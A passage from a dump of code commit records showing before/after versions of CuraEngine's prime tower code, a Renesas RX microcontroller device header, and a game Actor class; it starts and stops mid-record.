storage.getSettingInMicrons(\"prime_tower_position_y\"); \/\/ storage.model_max.y\n    if (circular_prime_tower)\n    {\n        double_t tower_radius = tower_size \/ 2;\n        for (unsigned int i = 0; i < CIRCLE_RESOLUTION; i++)\n        {\n            const double angle = (double) i \/ CIRCLE_RESOLUTION * 2 * M_PI; \/\/In radians.\n            p.add(Point(x - tower_radius + tower_distance + cos(angle) * tower_radius,\n                        y + tower_radius + tower_distance + sin(angle) * tower_radius));\n        }\n    }\n    else\n    {\n        p.add(Point(x + tower_distance, y + tower_distance));\n        p.add(Point(x + tower_distance, y + tower_distance + tower_size));\n        p.add(Point(x + tower_distance - tower_size, y + tower_distance + tower_size));\n        p.add(Point(x + tower_distance - tower_size, y + tower_distance));\n    }\n    middle = Point(x - tower_size \/ 2, y + tower_size \/ 2);\n\n    post_wipe_point = Point(x + tower_distance - tower_size \/ 2, y + tower_distance + tower_size \/ 2);\n}\n\nvoid PrimeTower::generatePaths(const SliceDataStorage& storage)\n{\n    enabled &= storage.max_print_height_second_to_last_extruder >= 0; \/\/Maybe it turns out that we don't need a prime tower after all because there are no layer switches.\n    if (enabled)\n    {\n        generatePaths_denseInfill(storage);\n    }\n}\n\nvoid PrimeTower::generatePaths_denseInfill(const SliceDataStorage& storage)\n{\n    const coord_t layer_height = storage.getSettingInMicrons(\"layer_height\");\n    pattern_per_extruder.resize(extruder_count);\n\n    coord_t cumulative_inset = 0; \/\/Each tower shape is going to be printed inside the other. This is the inset we're doing for each extruder.\n    for (unsigned int extruder : extruder_order)\n    {\n        const coord_t line_width = storage.meshgroup->getExtruderTrain(extruder)->getSettingInMicrons(\"prime_tower_line_width\");\n        const coord_t required_volume = storage.meshgroup->getExtruderTrain(extruder)->getSettingInCubicMillimeters(\"prime_tower_min_volume\") * 1000000000; \/\/To cubic microns.\n        const double flow = storage.meshgroup->getExtruderTrain(extruder)->getSettingAsRatio(\"prime_tower_flow\");\n        coord_t current_volume = 0;\n        ExtrusionMoves& pattern = pattern_per_extruder[extruder];\n\n        \/\/Create the walls of the prime tower.\n        unsigned int wall_nr = 0;\n        for (; current_volume < required_volume; wall_nr++)\n        {\n            \/\/Create a new polygon with an offset from the outer polygon.\n            Polygons polygons = outer_poly.offset(-cumulative_inset - wall_nr * line_width - line_width \/ 2);\n            pattern.polygons.add(polygons);\n            current_volume += polygons.polygonLength() * line_width * layer_height * flow;\n            if (polygons.empty()) \/\/Don't continue. We won't ever reach the required volume because it doesn't fit.\n            {\n                break;\n            }\n        }\n        cumulative_inset += wall_nr * line_width;\n\n        \/\/Generate the pattern for the first layer.\n        coord_t line_width_layer0 = line_width;\n        if (storage.getSettingAsPlatformAdhesion(\"adhesion_type\") != EPlatformAdhesion::RAFT)\n        {\n            line_width_layer0 *= storage.meshgroup->getExtruderTrain(extruder)->getSettingAsRatio(\"initial_layer_line_width_factor\");\n        }\n        pattern_per_extruder_layer0.emplace_back();\n        ExtrusionMoves& pattern_layer0 = pattern_per_extruder_layer0.back();\n        pattern_layer0.polygons = outer_poly.offset(-line_width_layer0 \/ 2);\n        const coord_t outline_offset = -line_width_layer0;\n        const coord_t line_distance = line_width_layer0;\n        constexpr double fill_angle = 45;\n        constexpr bool zig_zaggify_infill = false;\n        constexpr coord_t extra_infill_shift = 0;\n        constexpr coord_t infill_overlap = 60; \/\/ so that it can't be zero; EDIT: wtf?\n        constexpr coord_t z = 0; \/\/ (TODO) because the prime tower stores the paths for each extruder for once instead of generating each layer, we don't know the z position\n        constexpr bool connect_polygons = false;\n        constexpr int infill_multiplier = 1;\n        Infill infill_comp(EFillMethod::CONCENTRIC, zig_zaggify_infill, connect_polygons, outer_poly, outline_offset, line_width_layer0, line_distance, infill_overlap, infill_multiplier, fill_angle, z, extra_infill_shift);\n        infill_comp.generate(pattern_layer0.polygons, pattern_layer0.lines);\n    }\n}\n\n\nvoid PrimeTower::addToGcode(const SliceDataStorage& storage, LayerPlan& gcode_layer, const GCodeExport& gcode, const int prev_extruder, const int new_extruder) const\n{\n    if (!enabled)\n    {\n        return;\n    }\n    if (gcode_layer.getPrimeTowerIsPlanned(new_extruder))\n    { \/\/ don't print the prime tower if it has been printed already with this extruder.\n        return;\n    }\n\n    if (gcode_layer.getLayerNr() > storage.max_print_height_second_to_last_extruder + 1)\n    {\n        return;\n    }\n\n    bool post_wipe = storage.meshgroup->getExtruderTrain(prev_extruder)->getSettingBoolean(\"prime_tower_wipe_enabled\");\n\n    \/\/ Do not wipe on the first layer, we will generate non-hollow prime tower there for better bed adhesion.\n    const int layer_nr = gcode_layer.getLayerNr();\n    if (prev_extruder == new_extruder || layer_nr == 0)\n    {\n        post_wipe = false;\n    }\n\n    addToGcode_denseInfill(storage, gcode_layer, new_extruder);\n\n    \/\/ post-wipe:\n    if (post_wipe)\n    { \/\/Make sure we wipe the old extruder on the prime tower.\n        gcode_layer.addTravel(post_wipe_point - gcode.getExtruderOffset(prev_extruder) + gcode.getExtruderOffset(new_extruder));\n    }\n\n    gcode_layer.setPrimeTowerIsPlanned(new_extruder);\n}\n\nvoid PrimeTower::addToGcode_denseInfill(const SliceDataStorage& storage, LayerPlan& gcode_layer, const int extruder_nr) const\n{\n    const ExtrusionMoves& pattern = (gcode_layer.getLayerNr() == -Raft::getFillerLayerCount(storage))\n        ? pattern_per_extruder_layer0[extruder_nr]\n        : pattern_per_extruder[extruder_nr];\n\n    const GCodePathConfig& config = gcode_layer.configs_storage.prime_tower_config_per_extruder[extruder_nr];\n\n    gcode_layer.addPolygonsByOptimizer(pattern.polygons, config);\n    gcode_layer.addLinesByOptimizer(pattern.lines, config, SpaceFillType::Lines);\n}\n\nPoint PrimeTower::getLocationBeforePrimeTower(const SliceDataStorage& storage) const\n{\n    Point ret(0, 0);\n    int absolute_starting_points = 0;\n    for (unsigned int extruder_nr = 0; extruder_nr < storage.meshgroup->getExtruderCount(); extruder_nr++)\n    {\n        ExtruderTrain& train = *storage.meshgroup->getExtruderTrain(0);\n        if (train.getSettingBoolean(\"machine_extruder_start_pos_abs\"))\n        {\n            ret += Point(train.getSettingInMicrons(\"machine_extruder_start_pos_x\"), train.getSettingInMicrons(\"machine_extruder_start_pos_y\"));\n            absolute_starting_points++;\n        }\n    }\n    if (absolute_starting_points > 0)\n    { \/\/ take the average over all absolute starting positions\n        ret \/= absolute_starting_points;\n    }\n    else\n    { \/\/ use the middle of the bed\n        ret = storage.machine_size.flatten().getMiddle();\n    }\n    return ret;\n}\n\nvoid PrimeTower::subtractFromSupport(SliceDataStorage& storage)\n{\n    const Polygons outside_polygon = outer_poly.getOutsidePolygons();\n    AABB outside_polygon_boundary_box(outside_polygon);\n    for(size_t layer = 0; layer <= (size_t)storage.max_print_height_second_to_last_extruder + 1 && layer < storage.support.supportLayers.size(); layer++)\n    {\n        SupportLayer& support_layer = storage.support.supportLayers[layer];\n        \/\/ take the differences of the support infill parts and the prime tower area\n        support_layer.excludeAreasFromSupportInfillAreas(outside_polygon, outside_polygon_boundary_box);\n    }\n}\n\n\n}\/\/namespace cura\n<commit_msg>Revert \"Do not connect polygons in the first layer of the prime tower.\"<commit_after>\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include \"PrimeTower.h\"\n\n#include <algorithm>\n#include <limits>\n\n#include \"ExtruderTrain.h\"\n#include \"sliceDataStorage.h\"\n#include \"gcodeExport.h\"\n#include \"LayerPlan.h\"\n#include \"infill.h\"\n#include \"PrintFeature.h\"\n#include \"raft.h\"\n\n#define CIRCLE_RESOLUTION 32 \/\/The number of vertices in each circle.\n\nnamespace cura \n{\n\nPrimeTower::PrimeTower(const SliceDataStorage& storage)\n: wipe_from_middle(false)\n{\n    enabled = storage.getSettingBoolean(\"prime_tower_enable\")\n           && storage.getSettingInMicrons(\"prime_tower_min_volume\") > 10\n           && storage.getSettingInMicrons(\"prime_tower_size\") > 10;\n\n    extruder_count = storage.meshgroup->getExtruderCount();\n    extruder_order.resize(extruder_count);\n    for (unsigned int extruder_nr = 0; extruder_nr < extruder_count; extruder_nr++)\n    {\n        extruder_order[extruder_nr] = extruder_nr; \/\/Start with default order, then sort.\n    }\n    \/\/Sort from high adhesion to low adhesion.\n    const SliceDataStorage* storage_ptr = &storage; \/\/Communicate to lambda via pointer to prevent copy.\n    std::sort(extruder_order.begin(), extruder_order.end(), [storage_ptr](const unsigned int& extruder_nr_a, const unsigned int& extruder_nr_b) -> bool\n    {\n        const double adhesion_a = storage_ptr->meshgroup->getExtruderTrain(extruder_nr_a)->getSettingAsRatio(\"material_adhesion_tendency\");\n        const double adhesion_b = storage_ptr->meshgroup->getExtruderTrain(extruder_nr_b)->getSettingAsRatio(\"material_adhesion_tendency\");\n        return adhesion_a < adhesion_b;\n    });\n}\n\nvoid PrimeTower::generateGroundpoly(const SliceDataStorage& storage)\n{\n    if (!enabled)\n    {\n        return;\n    }\n\n    coord_t tower_size = storage.getSettingInMicrons(\"prime_tower_size\");\n    bool circular_prime_tower = storage.getSettingBoolean(\"prime_tower_circular\");\n\n    PolygonRef p = outer_poly.newPoly();\n    int tower_distance = 0; \n    int x = storage.getSettingInMicrons(\"prime_tower_position_x\"); \/\/ storage.model_max.x\n    int y = storage.getSettingInMicrons(\"prime_tower_position_y\"); \/\/ storage.model_max.y\n    if (circular_prime_tower)\n    {\n        double_t tower_radius = tower_size \/ 2;\n        for (unsigned int i = 0; i < CIRCLE_RESOLUTION; i++)\n        {\n            const double angle = (double) i \/ CIRCLE_RESOLUTION * 2 * M_PI; \/\/In radians.\n            p.add(Point(x - tower_radius + tower_distance + cos(angle) * tower_radius,\n                        y + tower_radius + tower_distance + sin(angle) * tower_radius));\n        }\n    }\n    else\n    {\n        p.add(Point(x + tower_distance, y + tower_distance));\n        p.add(Point(x + tower_distance, y + tower_distance + tower_size));\n        p.add(Point(x + tower_distance - tower_size, y + tower_distance + tower_size));\n        p.add(Point(x + tower_distance - tower_size, y + tower_distance));\n    }\n    middle = Point(x - tower_size \/ 2, y + tower_size \/ 2);\n\n    post_wipe_point = Point(x + tower_distance - tower_size \/ 2, y + tower_distance + tower_size \/ 2);\n}\n\nvoid PrimeTower::generatePaths(const SliceDataStorage& storage)\n{\n    enabled &= storage.max_print_height_second_to_last_extruder >= 0; \/\/Maybe it turns out that we don't need a prime tower after all because there are no layer switches.\n    if (enabled)\n    {\n        generatePaths_denseInfill(storage);\n    }\n}\n\nvoid PrimeTower::generatePaths_denseInfill(const SliceDataStorage& storage)\n{\n    const coord_t layer_height = storage.getSettingInMicrons(\"layer_height\");\n    pattern_per_extruder.resize(extruder_count);\n\n    coord_t cumulative_inset = 0; \/\/Each tower shape is going to be printed inside the other. This is the inset we're doing for each extruder.\n    for (unsigned int extruder : extruder_order)\n    {\n        const coord_t line_width = storage.meshgroup->getExtruderTrain(extruder)->getSettingInMicrons(\"prime_tower_line_width\");\n        const coord_t required_volume = storage.meshgroup->getExtruderTrain(extruder)->getSettingInCubicMillimeters(\"prime_tower_min_volume\") * 1000000000; \/\/To cubic microns.\n        const double flow = storage.meshgroup->getExtruderTrain(extruder)->getSettingAsRatio(\"prime_tower_flow\");\n        coord_t current_volume = 0;\n        ExtrusionMoves& pattern = pattern_per_extruder[extruder];\n\n        \/\/Create the walls of the prime tower.\n        unsigned int wall_nr = 0;\n        for (; current_volume < required_volume; wall_nr++)\n        {\n            \/\/Create a new polygon with an offset from the outer polygon.\n            Polygons polygons = outer_poly.offset(-cumulative_inset - wall_nr * line_width - line_width \/ 2);\n            pattern.polygons.add(polygons);\n            current_volume += polygons.polygonLength() * line_width * layer_height * flow;\n            if (polygons.empty()) \/\/Don't continue. We won't ever reach the required volume because it doesn't fit.\n            {\n                break;\n            }\n        }\n        cumulative_inset += wall_nr * line_width;\n\n        \/\/Generate the pattern for the first layer.\n        coord_t line_width_layer0 = line_width;\n        if (storage.getSettingAsPlatformAdhesion(\"adhesion_type\") != EPlatformAdhesion::RAFT)\n        {\n            line_width_layer0 *= storage.meshgroup->getExtruderTrain(extruder)->getSettingAsRatio(\"initial_layer_line_width_factor\");\n        }\n        pattern_per_extruder_layer0.emplace_back();\n        ExtrusionMoves& pattern_layer0 = pattern_per_extruder_layer0.back();\n        pattern_layer0.polygons = outer_poly.offset(-line_width_layer0 \/ 2);\n        const coord_t outline_offset = -line_width_layer0;\n        const coord_t line_distance = line_width_layer0;\n        constexpr double fill_angle = 45;\n        constexpr bool zig_zaggify_infill = false;\n        constexpr coord_t extra_infill_shift = 0;\n        constexpr coord_t infill_overlap = 60; \/\/ so that it can't be zero; EDIT: wtf?\n        constexpr coord_t z = 0; \/\/ (TODO) because the prime tower stores the paths for each extruder for once instead of generating each layer, we don't know the z position\n        constexpr bool connect_polygons = true;\n        constexpr int infill_multiplier = 1;\n        Infill infill_comp(EFillMethod::CONCENTRIC, zig_zaggify_infill, connect_polygons, outer_poly, outline_offset, line_width_layer0, line_distance, infill_overlap, infill_multiplier, fill_angle, z, extra_infill_shift);\n        infill_comp.generate(pattern_layer0.polygons, pattern_layer0.lines);\n    }\n}\n\n\nvoid PrimeTower::addToGcode(const SliceDataStorage& storage, LayerPlan& gcode_layer, const GCodeExport& gcode, const int prev_extruder, const int new_extruder) const\n{\n    if (!enabled)\n    {\n        return;\n    }\n    if (gcode_layer.getPrimeTowerIsPlanned(new_extruder))\n    { \/\/ don't print the prime tower if it has been printed already with this extruder.\n        return;\n    }\n\n    if (gcode_layer.getLayerNr() > storage.max_print_height_second_to_last_extruder + 1)\n    {\n        return;\n    }\n\n    bool post_wipe = storage.meshgroup->getExtruderTrain(prev_extruder)->getSettingBoolean(\"prime_tower_wipe_enabled\");\n\n    \/\/ Do not wipe on the first layer, we will generate non-hollow prime tower there for better bed adhesion.\n    const int layer_nr = gcode_layer.getLayerNr();\n    if (prev_extruder == new_extruder || layer_nr == 0)\n    {\n        post_wipe = false;\n    }\n\n    addToGcode_denseInfill(storage, gcode_layer, new_extruder);\n\n    \/\/ post-wipe:\n    if (post_wipe)\n    { \/\/Make sure we wipe the old extruder on the prime tower.\n        gcode_layer.addTravel(post_wipe_point - gcode.getExtruderOffset(prev_extruder) + gcode.getExtruderOffset(new_extruder));\n    }\n\n    gcode_layer.setPrimeTowerIsPlanned(new_extruder);\n}\n\nvoid PrimeTower::addToGcode_denseInfill(const SliceDataStorage& storage, LayerPlan& gcode_layer, const int extruder_nr) const\n{\n    const ExtrusionMoves& pattern = (gcode_layer.getLayerNr() == -Raft::getFillerLayerCount(storage))\n        ? pattern_per_extruder_layer0[extruder_nr]\n        : pattern_per_extruder[extruder_nr];\n\n    const GCodePathConfig& config = gcode_layer.configs_storage.prime_tower_config_per_extruder[extruder_nr];\n\n    gcode_layer.addPolygonsByOptimizer(pattern.polygons, config);\n    gcode_layer.addLinesByOptimizer(pattern.lines, config, SpaceFillType::Lines);\n}\n\nPoint PrimeTower::getLocationBeforePrimeTower(const SliceDataStorage& storage) const\n{\n    Point ret(0, 0);\n    int absolute_starting_points = 0;\n    for (unsigned int extruder_nr = 0; extruder_nr < storage.meshgroup->getExtruderCount(); extruder_nr++)\n    {\n        ExtruderTrain& train = *storage.meshgroup->getExtruderTrain(0);\n        if (train.getSettingBoolean(\"machine_extruder_start_pos_abs\"))\n        {\n            ret += Point(train.getSettingInMicrons(\"machine_extruder_start_pos_x\"), train.getSettingInMicrons(\"machine_extruder_start_pos_y\"));\n            absolute_starting_points++;\n        }\n    }\n    if (absolute_starting_points > 0)\n    { \/\/ take the average over all absolute starting positions\n        ret \/= absolute_starting_points;\n    }\n    else\n    { \/\/ use the middle of the bed\n        ret = storage.machine_size.flatten().getMiddle();\n    }\n    return ret;\n}\n\nvoid PrimeTower::subtractFromSupport(SliceDataStorage& storage)\n{\n    const Polygons outside_polygon = outer_poly.getOutsidePolygons();\n    AABB outside_polygon_boundary_box(outside_polygon);\n    for(size_t layer = 0; layer <= (size_t)storage.max_print_height_second_to_last_extruder + 1 && layer < storage.support.supportLayers.size(); layer++)\n    {\n        SupportLayer& support_layer = storage.support.supportLayers[layer];\n        \/\/ take the differences of the support infill parts and the prime tower area\n        support_layer.excludeAreasFromSupportInfillAreas(outside_polygon, outside_polygon_boundary_box);\n    }\n}\n\n\n}\/\/namespace cura\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Use simpler matrix constructor<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\tルネサス RX デバイス選択\r\n    @author 平松邦仁 (hira@rvf-rc45.net)\r\n\t@copyright\tCopyright (C) 2016, 2018 Kunihito Hiramatsu @n\r\n\t\t\t\tReleased under the MIT license @n\r\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include \"common\/byte_order.h\"\r\n#include \"common\/vect.h\"\r\n#include \"common\/delay.hpp\"\r\n#include \"common\/device.hpp\"\r\n\r\n#include \"RX600\/bus.hpp\"\r\n\r\n#if defined(SIG_RX24T)\r\n#include \"RX24T\/system.hpp\"\r\n#include \"RX24T\/system_io.hpp\"\r\n#include \"RX24T\/poe3.hpp\"\r\n#include \"RX24T\/s12ad.hpp\"\r\n#include \"RX24T\/adc_io.hpp\"\r\n#include \"RX24T\/da.hpp\"\r\n#include \"RX600\/cmpc.hpp\"\r\n#include \"RX24T\/flash.hpp\"\r\n#include \"RX24T\/flash_io.hpp\"\r\n\r\n#elif defined(SIG_RX64M) || defined(SIG_RX71M)\r\n#include \"RX600\/system.hpp\"\r\n#include \"RX600\/system_io.hpp\"\r\n#include \"RX600\/dmac.hpp\"\r\n#include \"RX600\/exdmac.hpp\"\r\n#include \"RX600\/mpc.hpp\"\r\n#include \"RX600\/tpu.hpp\"\r\n#include \"RX600\/cmtw.hpp\"\r\n#include \"RX600\/can.hpp\"\r\n#include \"RX600\/qspi.hpp\"\r\n#include \"RX600\/s12adc.hpp\"\r\n#include \"RX600\/adc_io.hpp\"\r\n#include \"RX600\/r12da.hpp\"\r\n#include \"RX600\/dac_out.hpp\"\r\n#include \"RX600\/sdram.hpp\"\r\n#include \"RX600\/etherc.hpp\"\r\n#include \"RX600\/edmac.hpp\"\r\n#include \"RX600\/usb.hpp\"\r\n#include \"RX600\/scif.hpp\"\r\n#include \"RX600\/rtc.hpp\"\r\n#include \"RX600\/rtc_io.hpp\"\r\n#include \"RX600\/wdta.hpp\"\r\n#include \"RX600\/flash.hpp\"\r\n#include \"RX600\/flash_io.hpp\"\r\n#include \"RX600\/ether_io.hpp\"\r\n#include \"RX600\/ssi.hpp\"\r\n#include \"RX600\/src.hpp\"\r\n#include \"RX600\/sdhi.hpp\"\r\n#include \"RX600\/sdhi_io.hpp\"\r\n#include \"RX600\/standby_ram.hpp\"\r\n#include \"RX600\/ssi_io.hpp\"\r\n#include \"RX600\/dmac_mgr.hpp\"\r\n\r\n#elif defined(SIG_RX65N)\r\n#include \"RX600\/system.hpp\"\r\n#include \"RX600\/system_io.hpp\"\r\n#include \"RX600\/dmac.hpp\"\r\n#include \"RX600\/exdmac.hpp\"\r\n#include \"RX600\/mpc.hpp\"\r\n#include \"RX600\/tpu.hpp\"\r\n#include \"RX600\/cmtw.hpp\"\r\n#include \"RX600\/can.hpp\"\r\n#include \"RX600\/qspi.hpp\"\r\n#include \"RX65x\/s12adf.hpp\"\r\n#include \"RX600\/adc_io.hpp\"\r\n#include \"RX600\/r12da.hpp\"\r\n#include \"RX600\/dac_out.hpp\"\r\n#include \"RX600\/sdram.hpp\"\r\n#include \"RX600\/etherc.hpp\"\r\n#include \"RX600\/edmac.hpp\"\r\n#include \"RX600\/usb.hpp\"\r\n#include \"RX600\/rtc.hpp\"\r\n#include \"RX600\/rtc_io.hpp\"\r\n#include \"RX600\/wdta.hpp\"\r\n#include \"RX600\/flash.hpp\"\r\n#include \"RX600\/flash_io.hpp\"\r\n#include \"RX600\/ether_io.hpp\"\r\n#include \"RX600\/sdhi.hpp\"\r\n#include \"RX600\/sdhi_io.hpp\"\r\n#include \"RX600\/standby_ram.hpp\"\r\n#include \"RX65x\/glcdc.hpp\"\r\n#include \"RX65x\/glcdc_io.hpp\"\r\n#include \"RX65x\/drw2d.hpp\"\r\n#include \"RX65x\/drw2d_mgr.hpp\"\r\n#include \"RX600\/dmac_mgr.hpp\"\r\n\r\n#elif defined(SIG_RX66T)\r\n#include \"RX600\/system.hpp\"\r\n#include \"RX600\/system_io.hpp\"\r\n#include \"RX600\/dmac.hpp\"\r\n#include \"RX600\/mpc.hpp\"\r\n#include \"RX600\/can.hpp\"\r\n#include \"RX600\/r12da.hpp\"\r\n#include \"RX600\/usb.hpp\"\r\n#include \"RX600\/wdta.hpp\"\r\n#include \"RX600\/flash.hpp\"\r\n#include \"RX600\/flash_io.hpp\"\r\n#include \"RX600\/cmpc.hpp\"\r\n\r\n#else\r\n#  error \"renesas.hpp: Requires SIG_XXX to be defined\"\r\n#endif\r\n\r\n\/\/ RX マイコン共通ペリフェラル\r\n#include \"RX600\/cac.hpp\"\r\n#include \"RX600\/dtc.hpp\"\r\n#include \"RX600\/port.hpp\"\r\n#include \"RX600\/mtu3.hpp\"\r\n#include \"RX600\/gpt.hpp\"\r\n#include \"RX600\/tmr.hpp\"\r\n#include \"RX600\/cmt.hpp\"\r\n#include \"RX600\/iwdt.hpp\"\r\n#include \"RX600\/sci.hpp\"\r\n#include \"RX600\/riic.hpp\"\r\n#include \"RX600\/rspi.hpp\"\r\n#include \"RX600\/crc.hpp\"\r\n#include \"RX600\/mpu.hpp\"\r\n#include \"RX600\/doc.hpp\"\r\n<commit_msg>update: add lvda include<commit_after>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\tルネサス RX デバイス選択\r\n    @author 平松邦仁 (hira@rvf-rc45.net)\r\n\t@copyright\tCopyright (C) 2016, 2018 Kunihito Hiramatsu @n\r\n\t\t\t\tReleased under the MIT license @n\r\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include \"common\/byte_order.h\"\r\n#include \"common\/vect.h\"\r\n#include \"common\/delay.hpp\"\r\n#include \"common\/device.hpp\"\r\n\r\n#include \"RX600\/lvda.hpp\"\r\n#include \"RX600\/bus.hpp\"\r\n\r\n#if defined(SIG_RX24T)\r\n#include \"RX24T\/system.hpp\"\r\n#include \"RX24T\/system_io.hpp\"\r\n#include \"RX24T\/poe3.hpp\"\r\n#include \"RX24T\/s12ad.hpp\"\r\n#include \"RX24T\/adc_io.hpp\"\r\n#include \"RX24T\/da.hpp\"\r\n#include \"RX600\/cmpc.hpp\"\r\n#include \"RX24T\/flash.hpp\"\r\n#include \"RX24T\/flash_io.hpp\"\r\n\r\n#elif defined(SIG_RX64M) || defined(SIG_RX71M)\r\n#include \"RX600\/system.hpp\"\r\n#include \"RX600\/system_io.hpp\"\r\n#include \"RX600\/dmac.hpp\"\r\n#include \"RX600\/exdmac.hpp\"\r\n#include \"RX600\/mpc.hpp\"\r\n#include \"RX600\/tpu.hpp\"\r\n#include \"RX600\/cmtw.hpp\"\r\n#include \"RX600\/can.hpp\"\r\n#include \"RX600\/qspi.hpp\"\r\n#include \"RX600\/s12adc.hpp\"\r\n#include \"RX600\/adc_io.hpp\"\r\n#include \"RX600\/r12da.hpp\"\r\n#include \"RX600\/dac_out.hpp\"\r\n#include \"RX600\/sdram.hpp\"\r\n#include \"RX600\/etherc.hpp\"\r\n#include \"RX600\/edmac.hpp\"\r\n#include \"RX600\/usb.hpp\"\r\n#include \"RX600\/scif.hpp\"\r\n#include \"RX600\/rtc.hpp\"\r\n#include \"RX600\/rtc_io.hpp\"\r\n#include \"RX600\/wdta.hpp\"\r\n#include \"RX600\/flash.hpp\"\r\n#include \"RX600\/flash_io.hpp\"\r\n#include \"RX600\/ether_io.hpp\"\r\n#include \"RX600\/ssi.hpp\"\r\n#include \"RX600\/src.hpp\"\r\n#include \"RX600\/sdhi.hpp\"\r\n#include \"RX600\/sdhi_io.hpp\"\r\n#include \"RX600\/standby_ram.hpp\"\r\n#include \"RX600\/ssi_io.hpp\"\r\n#include \"RX600\/dmac_mgr.hpp\"\r\n\r\n#elif defined(SIG_RX65N)\r\n#include \"RX600\/system.hpp\"\r\n#include \"RX600\/system_io.hpp\"\r\n#include \"RX600\/dmac.hpp\"\r\n#include \"RX600\/exdmac.hpp\"\r\n#include \"RX600\/mpc.hpp\"\r\n#include \"RX600\/tpu.hpp\"\r\n#include \"RX600\/cmtw.hpp\"\r\n#include \"RX600\/can.hpp\"\r\n#include \"RX600\/qspi.hpp\"\r\n#include \"RX65x\/s12adf.hpp\"\r\n#include \"RX600\/adc_io.hpp\"\r\n#include \"RX600\/r12da.hpp\"\r\n#include \"RX600\/dac_out.hpp\"\r\n#include \"RX600\/sdram.hpp\"\r\n#include \"RX600\/etherc.hpp\"\r\n#include \"RX600\/edmac.hpp\"\r\n#include \"RX600\/usb.hpp\"\r\n#include \"RX600\/rtc.hpp\"\r\n#include \"RX600\/rtc_io.hpp\"\r\n#include \"RX600\/wdta.hpp\"\r\n#include \"RX600\/flash.hpp\"\r\n#include \"RX600\/flash_io.hpp\"\r\n#include \"RX600\/ether_io.hpp\"\r\n#include \"RX600\/sdhi.hpp\"\r\n#include \"RX600\/sdhi_io.hpp\"\r\n#include \"RX600\/standby_ram.hpp\"\r\n#include \"RX65x\/glcdc.hpp\"\r\n#include \"RX65x\/glcdc_io.hpp\"\r\n#include \"RX65x\/drw2d.hpp\"\r\n#include \"RX65x\/drw2d_mgr.hpp\"\r\n#include \"RX600\/dmac_mgr.hpp\"\r\n\r\n#elif defined(SIG_RX66T)\r\n#include \"RX600\/system.hpp\"\r\n#include \"RX600\/system_io.hpp\"\r\n#include \"RX600\/dmac.hpp\"\r\n#include \"RX600\/mpc.hpp\"\r\n#include \"RX600\/can.hpp\"\r\n#include \"RX600\/r12da.hpp\"\r\n#include \"RX600\/usb.hpp\"\r\n#include \"RX600\/wdta.hpp\"\r\n#include \"RX600\/flash.hpp\"\r\n#include \"RX600\/flash_io.hpp\"\r\n#include \"RX600\/cmpc.hpp\"\r\n\r\n#else\r\n#  error \"renesas.hpp: Requires SIG_XXX to be defined\"\r\n#endif\r\n\r\n\/\/ RX マイコン共通ペリフェラル\r\n#include \"RX600\/cac.hpp\"\r\n#include \"RX600\/dtc.hpp\"\r\n#include \"RX600\/port.hpp\"\r\n#include \"RX600\/mtu3.hpp\"\r\n#include \"RX600\/gpt.hpp\"\r\n#include \"RX600\/tmr.hpp\"\r\n#include \"RX600\/cmt.hpp\"\r\n#include \"RX600\/iwdt.hpp\"\r\n#include \"RX600\/sci.hpp\"\r\n#include \"RX600\/riic.hpp\"\r\n#include \"RX600\/rspi.hpp\"\r\n#include \"RX600\/crc.hpp\"\r\n#include \"RX600\/mpu.hpp\"\r\n#include \"RX600\/doc.hpp\"\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  File:   Actor.cpp\n\/\/  Class:  Actor\n\/\/  Author: John Barbero Unenge\n\/\/          All code is my own except where credited to others.\n\/\/\n\/\/  Copyright (c) 2012 Catch22. All Rights Reserved.\n\/\/\n\/\/  Date:   2\/10\/12\n\/\/\n\n\n#include \"Actor.hpp\"\n#include \"..\/Helper\/Logger.hpp\"\n\n\/\/  Used until proper model object is used to track rendering location\nconst Vertex txPos[] = {\n    Vertex(100.0f ,100.0f),\n    Vertex(132.0f ,100.0f),\n    Vertex(100.0f ,132.0f),\n    Vertex(132.0f ,132.0f),\n};\n\nActor::Actor(AnimationArray* animations, Animation* currentAnimation)\n{\n    m_pBody = 0;\n    \n    m_animations = animations;\n    m_currentAnimation = currentAnimation;\n}\nActor::Actor(Actor* actor)\n{\n    m_pBody = 0;\n    \n    Animation** newAnimations = new Animation*[actor->m_animations->m_size];\n    for (int i = 0; i < actor->m_animations->m_size; i++) {\n        newAnimations[i] = new Animation(actor->m_animations->m_animationArray[i]);\n    }\n    \n    m_animations = new AnimationArray(newAnimations, actor->m_animations->m_size);\n    m_currentAnimation = m_animations->m_animationArray[0];\n}\nvoid Actor::setPBody(PBody* pBody)\n{\n    m_pBody = pBody;\n}\nconst Vertex* Actor::getVertexData()\n{\n    if (m_pBody != 0) {\n        Vertex* v = new Vertex[4];\n        v[0] = Vertex(m_pBody->getPosition()->m_x ,m_pBody->getPosition()->m_y);\n        v[1] = Vertex(m_pBody->getPosition()->m_x + m_pBody->getSize()->m_x,m_pBody->getPosition()->m_y);\n        v[2] = Vertex(m_pBody->getPosition()->m_x ,m_pBody->getPosition()->m_y + m_pBody->getSize()->m_y);\n        v[3] = Vertex(m_pBody->getPosition()->m_x + m_pBody->getSize()->m_x,m_pBody->getPosition()->m_y + m_pBody->getSize()->m_y);\n        \n        return v;\n    }\n    \n    return txPos;\n}\nconst Vertex* Actor::getTextureVertexData()\n{\n    if (m_currentAnimation == 0) {\n        Log(LOG_ERROR, \"Actor\", \"Current animation null!\");\n        return 0;\n    }\n    \n    return m_currentAnimation->getTextureVertexData();\n}\nint Actor::getTextureID()\n{\n    return m_currentAnimation->getTextureID();\n}\nvoid Actor::update(float dt){\n    m_currentAnimation->update(dt);\n}<commit_msg>Made changes to complie with how the new PBody works.<commit_after>\/\/\n\/\/  File:   Actor.cpp\n\/\/  Class:  Actor\n\/\/  Author: John Barbero Unenge\n\/\/          All code is my own except where credited to others.\n\/\/\n\/\/  Copyright (c) 2012 Catch22. All Rights Reserved.\n\/\/\n\/\/  Date:   2\/10\/12\n\/\/\n\n\n#include \"Actor.hpp\"\n#include 